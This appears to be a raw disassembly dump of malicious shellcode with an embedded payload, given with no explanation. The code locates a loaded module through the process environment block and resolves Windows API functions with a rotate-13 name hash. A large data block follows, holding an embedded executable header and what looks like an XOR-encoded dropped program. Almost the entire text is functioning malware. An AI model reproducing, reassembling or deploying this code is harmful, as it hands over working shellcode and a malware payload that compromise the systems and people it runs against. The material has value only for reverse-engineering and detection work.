		mov	eax, large fs:30h
		test	eax, eax
		js	short loc_3142A0D0
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	short loc_3142A0D9
; ---------------------------------------------------------------------------

loc_3142A0D0:				; CODE XREF: sub_3142A0B9+9j
		mov	eax, [eax+34h]
		mov	ebp, [eax+0B8h]

loc_3142A0D9:				; CODE XREF: sub_3142A0B9+15j
		mov	ebx, ebp
		pop	ebp
		retn
sub_3142A0B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142A0DD	proc near		; CODE XREF: sub_3142A0A4+Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_3142A0F3:				; CODE XREF: sub_3142A0DD+33j
		jecxz	short loc_3142A127
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld

loc_3142A0FE:				; CODE XREF: sub_3142A0DD+2Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_3142A10C
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_3142A0FE
; ---------------------------------------------------------------------------

loc_3142A10C:				; CODE XREF: sub_3142A0DD+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_3142A0F3
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_3142A129
; ---------------------------------------------------------------------------

loc_3142A127:				; CODE XREF: sub_3142A0DD:loc_3142A0F3j
		xor	eax, eax

loc_3142A129:				; CODE XREF: sub_3142A0DD+48j
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_3142A0DD	endp

; ---------------------------------------------------------------------------
		db 0A3h, 0A7h, 0
		dd 805A4D00h, 100h, 10000400h, 0FFFF00h, 14000h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0A0D2E65h, 24h, 0
		dd 455000h, 1014C00h, 235D2900h, 43h, 0
		dd 8F00E000h, 1010B81h,	3Ch, 2 dup(0)
		dd 100000h, 2 dup(0)
		dd 40000000h, 100000h, 20000h, 100h, 0
		dd 0A000300h, 0
		dd 0C00000h, 20000h, 0F38600h, 200h, 2 dup(100000h), 1000000h
		dd 2 dup(0)
		dd 1000h, 20h dup(0)
		dd 6C662E00h, 7461h, 0A52800h, 100000h,	0A5A300h, 20000h
		dd 3 dup(0)
		dd 6000h, 0E0h,	17h dup(0)
		dd 105BB900h, 4ABE0040h, 81000029h, 739B1331h, 0F398B2Dh
		dd 0F73989CFh, 13318111h, 0C12D739Bh, 11F71009h, 9B133181h
		dd 9C12D73h, 1001C110h,	811009C1h, 739B1331h, 1331812Dh
		dd 8B2D739Bh, 89CF0F39h, 8B11F739h, 89CF0F39h, 1001C139h
		dd 9B133181h, 0C1832D73h, 0AF754E04h, 0C117FFC1h, 40FA179Ch
		dd 811712D1h, 0E51396BDh, 0A67870AEh, 0E5B61844h, 0CE2617C1h
		dd 0B4B44729h, 42D317C1h, 94891329h, 291617C1h,	0C1D417C1h
		dd 0C117AE41h, 0C171729h, 918017C1h, 411740A9h,	3E8217C1h
		dd 8117DA75h, 29571606h, 0C19C17C1h, 297B13E5h,	0C14717C1h
		dd 5D17AE22h, 5C8B174Ch, 0C1FF0681h, 0C1176EC1h, 70A3E854h
		dd 3E8257C1h, 8117B275h, 59069A4Ch, 904757C1h, 74A3E854h
		dd 4C9A57C1h, 81170FD0h, 1194463Eh, 27DD3C5h, 0C5FF1DABh
		dd 0C1176263h, 0C9849405h, 0C117FFD0h, 0EFBD1771h, 0C117ACC2h
		dd 0C5171729h, 0E8D717C1h, 0AB6DBD02h, 29457DA0h, 0C194B5C1h
		dd 6B5CD3C9h, 2476231h,	90463E08h, 90567DC5h, 0C11746A9h
		dd 91E81701h, 75578268h, 99561750h, 88866324h, 54FBD44Ch
		dd 0C17DA581h, 90441793h, 54BA473Eh, 0C1D4A381h, 2DA59A54h
		dd 0AB1757C1h, 92474590h, 7CA3E854h, 27D57C1h, 0C10757A9h
		dd 907D17C1h, 54D6173Eh, 0C1D4A381h, 9D5354FBh,	945A5882h
		dd 0F04B52BFh, 0AE6150A8h, 0AF7E76AFh, 8C474B88h, 95695892h
		dd 9572269Dh, 9D697AB1h, 0EF632383h, 0EF727AB1h, 0C1176FA4h
		dd 14h dup(0C11717C1h),	0AF1745B4h, 51175A9Bh, 0C11714C1h
		dd 0C11713C1h, 0C117E83Eh, 0C117AFC1h, 0C11717C1h, 0C11757C1h
		dd 8 dup(0C11717C1h), 0C11717C0h, 7B1919DEh, 0C8DA1775h
		dd 0C05B3679h, 957FDAE0h, 0E1677EB2h, 0A66565AEh, 0E17476ACh
		dd 0AF7876AFh, 0A37263E1h, 0B47937B3h, 0AF3737A8h, 9237538Eh
		dd 0A5727AAEh, 0CC1D39CCh, 0C11733C1h, 0C11717C1h, 0C896441Bh
		dd 3 dup(0A6C5007Ah), 0A9C50576h, 0A6C5017Ah, 0F9C58372h
		dd 0A6C5017Ah, 0BFC5FA59h, 0A6C5047Ah, 0BAC5DA59h, 0A6C5017Ah
		dd 0FBC51372h, 0A6C5027Ah, 0FBC58372h, 0A6C50F7Ah, 0A7C5007Ah
		dd 0A6C5727Ah, 0C6C50576h, 0A6C5147Ah, 0A6C5007Ah, 0A6C5037Ah
		dd 0FAC50576h, 0A6C5017Ah, 0FCC50576h, 0A6C5017Ah, 0A27F45A8h
		dd 0A6C5007Ah, 4 dup(0C11717C1h), 0C1174784h, 0C2175BC0h
		dd 0E2543F9Ch, 2 dup(0C11717C1h), 0CF36F7C1h, 0C61D1CC0h
		dd 0C1171761h, 0C11717D1h, 0C0171781h, 2 dup(0C01717A1h)
		dd 0C0171791h, 0C10717C1h, 0C11717D1h, 0C11717C3h, 0C11713C1h
		dd 0C11717C1h, 0C11713C1h, 0C11717C1h, 0C31717C1h, 0C11717C5h
		dd 0C11717C1h, 0C11714C1h, 0D11717C1h, 0C11717D1h, 0D11717C1h
		dd 0C11717D1h, 0C11717C1h, 0C11707C1h, 0C017B390h, 0C1172BC1h
		dd 0C0171791h, 0C117B3C0h, 6 dup(0C11717C1h), 0C017F790h
		dd 0C1171FC1h, 14h dup(0C11717C1h), 99274291h, 0C11717C1h
		dd 0C0171781h, 0C11717D1h, 0C11717C1h, 0C11717C5h, 3 dup(0C11717C1h)
		dd 0C1F797C1h, 99264291h, 0C11717C1h, 0C11717D1h, 0C0171791h
		dd 0C11717C3h, 0C11717C5h, 3 dup(0C11717C1h), 0C1D757C1h
		dd 99254291h, 0C11717C1h, 0C1171761h, 0C01717A1h, 0C117F457h
		dd 0C11717C7h, 3 dup(0C11717C1h), 0C17737C1h, 0A52D3388h
		dd 914F3794h, 0EF2037F1h, 827826E1h, 0B37E67B8h, 0B53770A9h
		dd 0E8373F82h, 0F82126F8h, 0F82E3AF0h, 8D762EE1h, 0AD7864BBh
		dd 0AE7B378Ch, 0B33779A0h, 8C7631E1h, 0B46465AAh, 0A372378Eh
		dd 0B47A65A9h, 0E13372B3h, 0E55E1DC1h, 0E15973FBh, 0E1274597h
		dd 0F03739F7h, 0B16E54AEh, 0A67F65A8h, 0E95463E1h, 0F02E3EE1h
		dd 0EC262EF7h, 0F8372EF8h, 0B37C5AA0h, 0E15162B2h, 0EF5D3999h
		dd 8E7539E1h, 0A96272B3h, 0B3377AA4h, 0C13333CBh, 0A2725BA8h
		dd 0A42D79B2h, 9341378Fh, 0AE6537A7h, 914F3794h, 0B23737A8h
		dd 0B26373A8h, 0A36265A8h, 0A53763A4h, 0A57262AFh, 0B26765E1h
		dd 0A87672A2h, 0AD7E7BE1h, 0AF6474A4h, 0E51D72E1h, 35h dup(0C11717C1h)
		dd 0C017EB91h, 0C017E791h, 3 dup(0C11717C1h), 0C0173F90h
		dd 0C017EF91h, 3 dup(0C11717C1h), 0C0172190h, 0C017EF91h
		dd 3 dup(0C11717C1h), 0C0175590h, 0C017EF91h, 3	dup(0C11717C1h)
		dd 0C0174790h, 0C017EF91h, 3 dup(0C11717C1h), 0C0174B90h
		dd 0C017EF91h, 3 dup(0C11717C1h), 0C0177190h, 0C017EF91h
		dd 3 dup(0C11717C1h), 0C0176590h, 0C017EF91h, 3	dup(0C11717C1h)
		dd 0C0176990h, 0C017EF91h, 3 dup(0C11717C1h), 0C0179B90h
		dd 0C017EF91h, 3 dup(0C11717C1h), 0C0178F90h, 0C017EF91h
		dd 5 dup(0C11717C1h), 0C0171F90h, 0C0170190h, 0C11717C1h
		dd 0B3797CA4h, 0F22572ADh, 0AD7B39A5h, 8D7817C1h, 8D7E76A5h
		dd 0A06575B3h, 0C1176E80h, 0B54750A4h, 0A25665AEh, 0B37273A5h
		dd 0C11764B2h, 93595C84h, 0F225528Dh, 0AD7B39A5h, 944417C1h
		dd 0F2255293h, 0AD7B39A5h, 805317C1h, 915E4180h, 0EF7324F3h
		dd 0C1177BADh, 845B4489h, 0F3395BF2h, 0AD1773ADh, 0A42478ADh
		dd 0A57B25EFh, 925F7BC1h, 80475B96h, 0A57B5EEFh, 965E7BC1h
		dd 8F525988h, 0A57B43EFh, 0A8677BC1h, 0B1767FADh, 0EF7367A8h
		dd 0C1177BADh, 0F3484092h, 0EF7324F3h, 0C1177BADh, 0AD7A62B3h
		dd 0EF7378AFh, 0C1177BADh, 0C11717C1h, 0E2543F9Ch, 0C11717C1h
		dd 0C017C190h, 3 dup(0C11716C1h), 0C017DB90h, 0C017C790h
		dd 0C017C390h, 0C1173578h, 0C017CB90h, 0A23917C1h, 0AD1773ADh
		dd 0AF1745B4h, 0C11717C1h, 0C1171FC1h, 6 dup(0C11717C1h)
		dd 0E51F97BDh, 448216CEh, 0C17716C1h, 0C117FFC1h, 0CE81742h
		dd 9F9A261Ah, 6EE9A92Eh, 0A796E896h, 0C11790C1h, 0C19617C1h
		dd 0C017D170h, 0C687172Ah, 879F9DC7h, 0C0CC1086h, 4A0962C6h
		dd 3D06942Fh, 2CAFCCB3h, 0C11716C1h, 0B410161Ah, 42F99CDFh
		dd 1A06EBD0h, 1A60D7C0h, 0C89CF8B4h, 2FEB0942h,	0B2F3061Ah
		dd 42FF2608h, 0A6D614B3h, 4B11F7C9h, 31E85142h,	48D263B9h
		dd 0B410161Ah, 42F99CDFh, 1A06EBD0h, 1A62DEC0h,	0DF94104Ah
		dd 0D0CCF93Dh, 0B4370608h, 1A6256C0h, 0DF94104Ah, 0D0CCF93Dh
		dd 0C0CC0608h, 0B41E602Eh, 42F99CDFh, 1A64EBD0h, 15F342h
		dd 32E82AC1h, 1016E842h, 0C6949AD5h, 0BF03EF3Dh, 839F9DC3h
		dd 88621086h, 0A5E8E028h, 48FFE83Eh, 5187FC63h,	42D59CC3h
		dd 0C6941348h, 42FED0C5h, 301613B6h, 89E8D828h,	9F3CE83Eh
		dd 969A683Dh, 0C117A9C1h, 7E1B1778h, 4B1017C1h,	292B50EDh
		dd 369716B6h, 0B4E528C6h, 4B489CC6h, 0FF13A7h, 1071F00h
		dd 0E8EF9105h, 2916972Ah, 0C694E748h, 48CFD0C4h, 9E9CF518h
		dd 16310C8h, 9E132A4Ah,	0F1179A45h, 0C11657C0h,	42D0E491h
		dd 57E71F3Eh, 0C18557C0h, 861F9DC6h, 1D45D7B5h,	0B8109E38h
		dd 0C6501876h, 78404786h, 6F455F33h, 3557E857h,	9B9E16C1h
		dd 2131442h, 4C49FC1Bh,	613EB42h, 4B102601h, 16350C8h
		dd 2E6035FDh, 29C06C0h,	5D61447h, 47D3D7D1h, 48141631h
		dd 0E518FC23h, 0D171D621h, 42D09CC6h, 2376152Ah, 0A7408728h
		dd 9447E83Eh, 0C81E4FE0h, 2B54154Bh, 68D0587Ch,	0EA2C2942h
		dd 0E08216C1h, 0C12917C1h, 7B9816C1h, 0C116B553h, 0C2CD0805h
		dd 0BA7EEC2Ch, 0C773E7E1h, 0C21205C0h, 0C20717CAh, 1A611CD7h
		dd 0CE14B889h, 0C017C7D7h, 3CF81CC4h, 41AAE8BEh, 4B6ABF6Eh
		dd 7FE3DED0h, 0EA071FC1h, 0D6133E48h, 4BFC4A49h, 0D6EC0B09h
		dd 5EFFAED2h, 0C33C5FA1h, 3E685CC1h, 0D969DF0Fh, 9380A7C0h
		dd 1106DD98h, 0C1B7BF14h, 33E8DECCh, 4146E81Eh,	744201E7h
		dd 0D20AF6h, 0B874516Ah, 0A9FF98EBh, 0C3EB10C1h, 0FFDC1740h
		dd 8537F93Eh, 8753548Ah, 8454528Fh
		dd 87501287h, 17CD5480h, 0C017E80Ah, 8A523784h,	84525387h
		dd 0D0165EC4h, 1141EE46h, 0EEE817D1h, 8365448Ch, 0AD15E82Ch
		dd 0CD624B77h, 0E15B5995h, 0F1395AE1h, 0ECF19E5h, 0F25F26F3h
		dd 3E2E64CCh, 2F194CA7h, 0C30DE83Eh, 8E65E5CAh,	0AF63CF7Eh
		dd 0B86417B1h, 42927AA3h, 96C0F92h, 0E0E80EB8h,	9154E9A3h
		dd 7FAA3731h, 9540EABEh, 8A375893h, 8E504793h, 51264580h
		dd 0D65B39F1h, 8C78568Fh, 1715E8FEh, 0A8791D96h, 0B66473AEh
		dd 0AE6537A7h, 0C27C3796h, 0BFFC70B3h, 0AE62A12Ch, 0F2A067CFh
		dd 8C3476E6h, 0F1272599h, 55A22572h, 0F301D4F3h, 0F197CEC1h
		dd 65C86B72h, 0D12198C6h, 7705CF44h, 2506E8E2h,	0E1121DD5h
		dd 3725A676h, 0A817C341h, 9244478Eh, 7FA472Ah, 56958331h
		dd 0E0401F21h, 0AF1717E5h, 7CDA4A4Ah, 0C160EAAEh, 0FB6F17B2h
		dd 0C88727C0h, 0E16C7C1Ch, 0F4342EC1h, 0C6450AEFh, 73342BE6h
		dd 0C937CD6Eh, 0F3DECD8Dh, 5E149796h, 6D2C11DAh, 873488C0h
		dd 818850C6h, 81110CB8h, 0D11617C7h, 3E6808D4h,	4B9F6E28h
		dd 8E17F7D7h, 803B532Ch, 0E7C53047h, 72494E61h,	49DFBDC1h
		dd 197820D0h, 9BC8D224h, 6C7A62B4h, 1BE844F1h, 7C3834C6h
		dd 0BA906ECFh, 0C12800FEh, 0B66E7163h, 0C96FEEC1h, 0C10F1381h
		dd 1576C91Fh, 970132CEh, 0C015095Eh, 18EF136Dh,	0C20412D8h
		dd 0B3AC839Dh, 0E00ADFF6h, 808B72C1h, 2DDA78E4h, 917E7D92h
		dd 0C1E159C6h, 7A43AD6Fh, 9F310495h, 9E307098h,	0AACA4417h
		dd 841E5EC2h, 79386E46h, 2507E8CEh, 8159AFD1h, 0FCB7884Ch
		dd 4E7ED9D0h, 0C45F29F1h, 530C89CCh, 51ABB0C9h,	7877A736h
		dd 0A2B02BC9h, 86112BC9h, 8C1F8746h, 0C97417FDh, 0E63384BEh
		dd 0F71757C1h, 93B906C6h, 0DB23AC2Ah, 0F0441695h, 0C2431798h
		dd 9ED62AF7h, 0CC27AD8Ch, 3EF71682h, 0ADA710DCh, 11CDCB7h
		dd 2A1F87C1h, 81A977E2h, 0D46D10A6h, 0BD786197h, 895873FEh
		dd 51175349h, 0C5486C4Eh, 0A500F7FEh, 9A26FCE3h, 7813DEA7h
		dd 48F0ED0Dh, 0AFA5C3Eh, 0C801A08Eh, 0C51C164Bh, 439F20F5h
		dd 23E513CEh, 26FF503Eh, 1A38FC3Fh, 0AB0C1FE7h,	10FD95C1h
		dd 0A3F57A8Dh, 0CBC57DF1h, 38301C76h, 0BD1F68DBh, 0E51B9BABh
		dd 0AF7DDB4Dh, 48130FABh, 3E68C93Ch, 2FF8E031h,	6DF1FA2Dh
		dd 436AF92Fh, 2BA34513h, 337D8F6Ch, 2BF0E8D6h, 3EA8ED26h
		dd 0C5E6E81Eh, 6D1CE320h, 98C67272h, 0ABA3C614h, 37E50237h
		dd 6CA4AF6Ch, 6D96AC71h, 3EA4FBB4h, 6DA5A37Bh, 6C30BB71h
		dd 0C1ACBBEAh, 74C6F87Fh, 0BCC14EFEh, 0C299B153h, 0E2A5C027h
		dd 83CA04C6h, 37EDA03Eh, 31599C8h, 0EE1EE55Fh, 0A89CFD4Bh
		dd 0C83D1C77h, 0CAEC2DD9h, 3E7EE83Eh, 231EC880h, 6B1EF967h
		dd 0C8C1D07Fh, 427F903Bh, 5B1E1E09h, 427ECF63h,	0A1E7671h
		dd 3EE8332Ch, 0ADA46842h, 72556ABFh, 0A3E1397Bh, 8C989282h
		dd 0A8679484h, 67B1AE3Fh, 0E2C9E0A2h, 56B1391Ah, 4FDEF3C8h
		dd 0C8911F5Fh, 0A8973EABh, 30C85A36h, 7B13FCAh,	819D8922h
		dd 0F91495E0h, 8E6B27E9h, 0DD07C4F5h, 972317B9h, 41670517h
		dd 0E426A182h, 0A9E816C9h, 1E936820h, 0F2DD1E35h, 0F9359D9Ah
		dd 3F9D0E59h, 0C5301979h, 4B34061Ah, 8D68FE9Ah,	3A0DE836h
		dd 889DCA2Bh, 0BF310833h, 99771D40h, 371E9AA9h,	2DEC7B40h
		dd 0CEE6E828h, 977F9E27h, 941DEE3Eh, 0C19A41ABh, 914152EBh
		dd 7EE71D36h, 48E068CFh, 70E82601h, 6F5E56Fh, 0B97239A4h
		dd 0C27F9F86h, 3AEC167Ah, 4C91F8AEh, 0C1903D07h, 48D033D7h
		dd 429AE874h, 0C4F992F4h, 7747751Ch, 0DB1440D3h, 0DE050953h
		dd 6ED79605h, 0A176C83Fh, 0E99CD4A1h, 1631044h,	0B9E11D4Dh
		dd 37B2FA35h, 3103BC2Ah, 601A42A5h, 0CD9C01B9h,	1AF957C3h
		dd 0B10BA03Eh, 0A91FBA4Ah, 0CA23FCC8h, 79179C69h, 9C2F802Ah
		dd 3EE89C3Ah, 0F89C92ADh, 4A4352FDh, 0C0FD12B9h, 0D99C9C8Bh
		dd 0C0FC4DE1h, 889CF4F3h, 3EC8333Ch, 2F2669C0h,	65BBE83Dh
		dd 0B5102F21h, 0CC16D60Eh, 332CD02Ah, 0E5626BE5h, 0A4ECF61Ah
		dd 0E571A5E2h, 8A1F9CCDh, 0C53E0B4Ah, 2092FFD8h, 0C33FCC2Ah
		dd 41769E85h, 0F901D5C9h, 0E1B43025h, 0C11C3E21h, 2CE010CFh
		dd 0D4468C5h, 0FF77F2Eh, 314777CBh, 3E381CA7h, 0CA99E502h
		dd 2D0B59CFh, 0B37B71B4h, 0AF397AAEh, 33E8D6F1h, 0AD1773ADh
		dd 917FE811h, 0EE6721DBh, 6EE87F89h, 0BC642179h, 0EF7B61A2h
		dd 5840261Ah, 0A963027Eh, 0EA6303h, 0FB38E8B1h,	0AE7438ADh
		dd 0A97876ADh, 0EE3264B5h, 0AACB653Bh, 924ECD84h, 9558283Eh
		dd 0CC3D143Dh, 8B16B6CDh, 0AF6260A8h, 7A7200DBh, 88166330h
		dd 0CD5072B3h, 6CA7CD76h, 0C51F1582h, 0A54474CFh, 0C4E763A0h
		dd 2E3FE8EEh, 0A87B7AA0h, 0E4733AF1h, 0B93939ACh, 0AD3976AEh
		dd 0AC8674AEh, 0FEE08F45h, 8E37528Dh, 0AE917CCh, 0D7D2003Bh
		dd 0E1515E8Dh, 0FB371A8Ch, 0B3762BA2h, 0AFE66781h, 0C538CE36h
		dd 935429DEh, 9558471Eh, 0B2D4BFECh, 0DD4B0A8Dh, 1D41E10Ch
		dd 0B5791888h, 0A06576C9h, 1FCD3937h, 9F787EE8h, 0D2A071B5h
		dd 3FE8903Eh, 0C12A76C3h, 0EE2E46FEh, 0F26A47F6h, 0F16D5DB3h
		dd 0FA2654A7h, 0BEE04530h, 0F62EE897h, 0F06D74E0h, 0FB412EE4h
		dd 0A4214FD2h, 0A25678E9h, 93395CB3h, 0E4E9463Eh, 837C3810h
		dd 0A04B52E0h, 8B3644B3h, 9467B7A6h, 0E56E2BFEh, 3E93733Eh
		dd 8949E8A0h, 8C7B7E89h, 0D62D5F98h, 0AB304EE8h, 0B04B3EEEh
		dd 0FB2874A7h, 0BEEC5D3Eh, 3F6C9AA0h, 0A33B77B6h, 0B7355D96h
		dd 0EF485EEAh, 0CB462D92h, 88E8368Fh, 83B9A811h, 0AA212438h
		dd 975349A0h, 0AB522598h, 9AE850FBh, 3E6F6862h,	8B791DE5h
		dd 905D38A8h, 0FA535D92h, 0E0222FAEh, 0E0651DB7h, 0ECA76CF7h
		dd 3E21583Fh, 0F64C2C90h, 0F23A5E9Ch, 981D5CEFh, 84121D9Ch
		dd 44925A18h, 0E1656120h, 0C37A65B1h, 0CE2A7EBBh, 703DE186h
		dd 266439EBh, 82394BE4h, 0D9F00CBCh, 0AA497BAFh, 8762448Eh
		dd 0F18D56B0h, 844BFB93h, 0A64B579Dh, 9A4F547Ah, 0B372AF05h
		dd 0A64DD97h, 93625C9Dh, 731A589Eh, 0C4F5FAB3h,	821024F3h
		dd 76E8633Eh, 0B16AD8ACh, 9D617187h, 832A5FE8h,	0FD473EDAh
		dd 0EB4F5CF1h, 95422497h, 3CD8A0A2h, 0B86F64BBh, 0B43849A1h
		dd 0A77E49D6h, 0AF0146B5h, 1F768CD4h, 551D7AFDh, 0DCD90041h
		dd 0AC6E0D1Bh, 0CA72BEAFh, 37A0A33Eh, 0B910C0D6h, 0EC3A92C1h
		dd 8F642A9Eh, 0A0656391h, 0F13A639Eh, 0AE17D91Ch, 0F12248E4h
		dd 0F94F4FC5h, 0CC3B3970h, 0AE8BA178h, 2E140CB8h, 0AD93E340h
		dd 0AE244C4Ah, 73924981h, 8963DABFh, 5E0078E8h,	0ACC8816Dh
		dd 5A6113B2h, 46E81566h, 0D248003Fh, 0E0346D9Fh, 0F0C53984h
		dd 0A37B3CE3h, 8D333B8Ch, 0EFE86FF8h, 0B87FA801h, 803EA4BAh
		dd 0ED3258B0h, 0B43D20B8h, 0E43E33E0h, 3C00FAAEh, 8F20C0F5h
		dd 0FC56309Bh, 982025C8h, 0EA7866A9h, 3EE87D3Eh, 0A82D60FEh
		dd 9A627DEFh, 94277F98h, 0F03A299Fh, 8067448Bh,	0A45E348Eh
		dd 0BC5058F6h, 1A7830A3h, 877AE8EAh, 0B4255686h, 0B373511Eh
		dd 0A73C79B2h, 319434C6h, 2E0F6A0Dh, 83584CC6h,	8541428Fh
		dd 62F492DEh, 88458687h, 84494495h, 5ECDDA8Fh, 9B4852CAh
		dd 0CA7D52A4h, 4201A597h, 0E3171781h, 2CFCA72Ch, 0F9459B99h
		dd 825F569Eh, 0CAE153C1h, 9A58A436h, 9E434384h,	0CE5E5EE2h
		dd 951C5088h, 0DC1C2C17h, 8E4F5C85h, 884759CEh,	358C00EFh
		dd 82552A8Dh, 948C1C8Fh
		dd 175D5293h, 0D642560Fh, 0CBA0DDC6h, 41E4C19Fh, 8D975694h
		dd 8D5206DBh, 966F6CF2h, 8B1D6722h, 54AD3470h, 7A42E8F0h
		dd 8454558Bh, 882A4362h, 0DEA14CAAh, 95546A98h,	5D15588Fh
		dd 1BC18998h, 9118855Ch, 858414C8h, 9BB31DC4h, 0BD2AEC79h
		dd 0AACC7ACEh, 0D04ED583h, 922B7C9Eh, 0AAAA419Bh, 0ED4FDAFEh
		dd 0C9D0DD06h, 0D9F1A7C4h, 5C531B16h, 96A0E87Ch, 8D02E180h
		dd 92471A8Fh, 0D301C8DEh, 0F2591D95h, 0B64460E9h, 761C283Eh
		dd 72989AE7h, 66635185h, 0F75C6FEBh, 0ED3A20B5h, 38415D02h
		dd 631491A6h, 9E3C6BA3h, 9DADF4EAh, 0E231CCA5h,	0AD7063C2h
		dd 0D2147836h, 58043h, 0B22EA4EEh, 0BC6B600Ah, 0FE6262B2h
		dd 0E73C2A22h, 0B113BEE7h, 0FDD8DB32h, 0B67364A7h, 41166347h
		dd 0EDAFD192h, 0D934402Ch, 0D244C784h, 0A554B0E1h, 3CC17A6Dh
		dd 0E67679E6h, 0A46774A2h, 0E93611E1h, 0F35B5D07h, 1E5FA40Ah
		dd 813C7718h, 13F91C5Ah, 0FD64139Bh, 0E16051DEh, 0CB7B5305h
		dd 0F77EA2A0h, 592CE594h, 663E4CC9h, 0E6A142A5h, 0C744E1FBh
		dd 0C2165689h, 3E3C393Dh, 9042FBC9h, 8E6B96CEh,	856F6EBAh
		dd 974A2192h, 3E0A4287h, 0A16DEBCAh, 0FE7754F1h, 0B75D26F8h
		dd 0F3284482h, 0BB3F5BF7h, 3EE8A033h, 0E02C2C81h, 0F02521B9h
		dd 9E2E7BEBh, 0FC305CEFh, 0AE7372E7h, 93488BF1h, 3E354F39h
		dd 8F3E6D90h, 8C2E36F6h, 87496F95h, 0D27A67B5h,	0AEE841F1h
		dd 3E7E0EDFh, 0B25355EDh, 98C8759Fh, 0B435A0BAh, 0B7A855BDh
		dd 3F4EE6D0h, 0F32753FFh, 0FE3543FDh, 0AE487AB7h, 856C4DB7h
		dd 0DBEA2DC4h, 0A82FE886h, 0A8406080h, 8F7C70ECh, 9CFE58B7h
		dd 1FEF17C5h, 0F055E8B1h, 8B6D7A94h, 0F137448Dh, 0F22C20FBh
		dd 2A1952B6h, 9435C900h, 39791072h, 4063C77Fh, 956E2BECh
		dd 398A67A4h, 192967ADh, 9E8415C4h, 0EC6038B9h,	75DA17ECh
		dd 57AD2E4h, 0E2743AE4h, 0DE8EBCACh, 0F3243CC2h, 0AD387AB4h
		dd 109D677Bh, 0EE3C622Bh, 0FA3747C6h, 4DD49AC4h, 0E2104DFCh
		dd 0CCA964CEh, 3160D7C9h, 0E7D6A260h, 3672D47Ch, 0FCD04C9Ch
		dd 0FD11CCC9h, 0BAD696B6h, 991B1FF5h, 0D09BA3A6h, 622899E4h
		dd 99D129B2h, 42724FBAh, 881263CAh, 3A506593h, 5B645EE3h
		dd 0EF2725F6h, 0CD7164Eh, 0CA73B9F0h, 1B176EF0h, 0B4F7B271h
		dd 0A2567FC7h, 0A4D16061h, 0A158FABAh, 0C2235683h, 0A32513A0h
		dd 7196CFFAh, 8F7336E1h, 0DF4C17EEh, 8C72F6D2h,	0C78F64B2h
		dd 779A656Eh, 0D40DFA17h, 9C545BA8h, 0C839B9A9h, 0AD36215Ah
		dd 0DE3734E1h, 2116378Bh, 807B7AFAh, 69D4B6B6h,	0DE7F921h
		dd 0C24BE54Bh, 0B57AB0A9h, 0DB5B8B06h, 0A5752CC6h, 20526F83h
		dd 846F0F3Eh, 6CA2D449h, 0CD4B2677h, 4C66A992h,	26CBDA7Fh
		dd 0A50901B3h, 4942505Eh, 0CCAF029Dh, 87B854F2h, 0E8D164CAh
		dd 0E40897CDh, 887898A8h, 0D1305E82h, 0E39231A0h, 0C62323CEh
		dd 0E01E66E0h, 991DA6F2h, 6094239Dh, 0A670977Eh, 0CC02B5D6h
		dd 0A58A21FEh, 38539A81h, 226476A8h, 0B8A86247h, 9A5479F2h
		dd 4632076h, 0A262CD06h, 267F05ADh, 0B6A3C5CAh,	967166E9h
		dd 0C06772A4h, 5B9F7FAAh, 6071E197h, 0AF789FB7h, 0A00F4ACBh
		dd 0F2A0D438h, 43C74677h, 80A6E198h, 0CB10E77h,	9276108Ch
		dd 0A40CB106h, 6285C19Fh, 0AA0BDBCEh, 0C50C54EAh, 0CE821D9Dh
		dd 577F20F0h, 9547E88Ch, 0A8B33785h, 8AF7A7B8h,	0A0046F2Dh
		dd 0A07352ACh, 0E36B73B3h, 599C15F2h, 816ED1CAh, 121E769Eh
		dd 0AEED7A00h, 0FF203724h, 70577600h, 80127CECh, 36646292h
		dd 0B737C31Bh, 0B5963AFCh, 8CB4F270h, 0A264D593h, 0EDFDE549h
		dd 2121500Fh, 0E91D806Bh, 0DBC50C27h, 4064BA77h, 0B1A21FE1h
		dd 0A980D5B5h, 1EEEAC1Ah, 0E17137A8h, 0B276708Eh, 835D93E1h
		dd 6CC75BA0h, 1F370D9Ch, 9E25008Ah, 0C0A7DD4Ch,	95CF39FDh
		dd 0F60163A8h, 66191DC7h, 0EA7215E0h, 0EA236E5Ah, 0CB45E7EDh
		dd 0A31672B2h, 0FEA23B30h, 0B104FA27h, 8D78FFD4h, 0ED7C30E1h
		dd 770D741Ah, 0A93936A0h, 0E1507CDCh, 85F722EAh, 0F65EBBC1h
		dd 91B67604h, 5D0B62EAh, 0A9453DA6h, 47E13992h,	0A3624505h
		dd 2C7A7A12h, 0BD7AD65Fh, 0E59578AAh, 0EF2C5EEFh, 0BD767ACAh
		dd 0FB3A45E1h, 0C13789EAh, 0F58A0AEEh, 0D22DD6ACh, 0E14161AEh
		dd 0AC6C51B2h, 0F81D6BA6h, 83330991h, 1DC17957h, 0D85C0DA3h
		dd 0A8654EDAh, 5BAAFB29h, 0B512CDBFh, 0EF7B303Fh, 77955D1h
		dd 5017643Eh, 97CEF129h, 0B3D370D3h, 0EE217FA1h, 0ED7613AFh
		dd 0CD914801h, 0EC974487h, 40DAA4A0h, 0A73A5946h, 7E8A5004h
		dd 0DF639981h, 719878B2h, 0D0456FAh, 0C174D6CBh, 0B3CF2BA3h
		dd 0DFA9610Ch, 0AD291C1Eh, 565B06AEh, 4D12BAD4h, 0AE7470F4h
		dd 1A41721Eh, 0A065EEFCh, 7A6D7EA0h, 0F0291DECh, 80FB30EEh
